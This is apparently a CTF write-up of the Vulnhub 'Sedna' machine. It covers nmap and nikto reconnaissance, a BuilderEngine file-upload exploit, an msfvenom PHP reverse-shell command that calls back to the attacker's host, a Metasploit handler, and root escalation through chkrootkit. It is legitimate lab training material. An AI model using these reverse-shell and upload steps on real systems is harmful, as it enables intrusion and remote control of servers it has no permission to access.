Hackfest2016: Sedna — VM Vulnhub.com

Sedna Vulnhub Machine Walkthrough

This is a vulnerable machine its created for the Hackfest 2016 CTF http://hackfest.ca/

Difficulty : Medium

Lets Start

This VM very kindly has the IP address already showing when you fire it up so I can skip the netdiscover , arp-scan and head straight to the NMAP scan to see what the VM has to offer.

Command : nmap -A 192.168.0.133

I’ll make a note of all of them and (as usual) with these VM’s lets jump straight into the 80 http port and see what the website has to offer.

I’ll just run a nikto scan before heading over to the webiste, the output (if any) should make our reviewing more efficient.

Cool, so it shows there’s a robots.txt file. Lets fire up firefox and take a look at the site and that robots.txt file.

The robots file didn’t have anything useful in it. :-(

Ok so lets start looking a bit deeper into what the VM has to offer. I have seen nikto results , there is some list of directories:

192.168.0.133/files

192.168.0.133/license.txt

192.168.0.133/system

Cool check all files one by one, let’s see what the license file has to say.

Open the link [your-ip]/license.txt

Cool OK, so it seems that the site uses BuilderEngine let’s see if we can get into that directory. OK so after checking the directory it does exist but I don’t have access to it. Let’s see if we can exploit the service. Heading over to exploit-db.com and searching for Builder Engine I get this.

Nice, so lets try it and see if we can upload a file.

Copy above code and replace your localhost in your Sedna machine ip.

So after downloading the exploit and modifying the action attribute. I had to do a bit of Googling to find out how to get it to run, it was in front of me all the time. I just had to save it as a html file and open it in Firefox.

Cool, it seems to have worked so far and it seems to be allowing me to upload a file that will get sent to the vulnerable directory on the web server. Let’s try and upload a standard php reverse shell.

Then I created a php reverse shell with msfvenom.

Command :

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.129 LPORT=4444 -f raw > shell.php

Created a PHP Shell

Uploaded the PHP file in below browse button.

After uploading the file I can see it has been uploaded and is sitting in the /files/ dir

Open a metasploit and set a payload

Command :

set payload php/meterpreter/reverse_tcp

show options

Set LPORT : [ip]

exploit

Metasploit Session

Cool, OK now all thats left to do is click the file and see if I can get a shell back!! AGAIN

After I requested the shell script, I had uploaded, I gained the reverse shell to VM.

BINGO, We’re in.

First flag was in the /var/www directory.

Now it was time to escalate privileges. I had some unsuccessful exploit attempts with the kernel version. Then I looked for the /etc folder to find something to exploit to gain root access and I saw chkrootkit was installed.

Chkrootkit: chkrootkit (Check Rootkit) is a common Unix-based program intended to help system administrators check their system for known rootkits. It is a shell script using common UNIX/Linux tools like the strings and grep commands to search core system programs for signatures and for comparing a traversal of the /proc filesystem with the output of the ps (process status) command to look for discrepancies.

Yes! I could try this to exploit. So I background metasploit session and try to exploit a chkrootkit.

After a while, I gained a new session with root.

Then I searched for flag.txt files.

I think the other flag something about the crackmeforpoints user, but my mail goal was to get root access so did not try to do something about the user account.

Huge thanks for Viper for creating this VM. I really enjoyed it and feel I learnt so many new things from working through it. As always thanks to Vulnhub.com for hosting this and all the other amazing VM’s.

Hope you like it , If you have any queries … Feel free to contact me through linkedin or Twitter :)

OSCP || RedTeam Member @ Synack || PenTester || Bug Bounty Hunter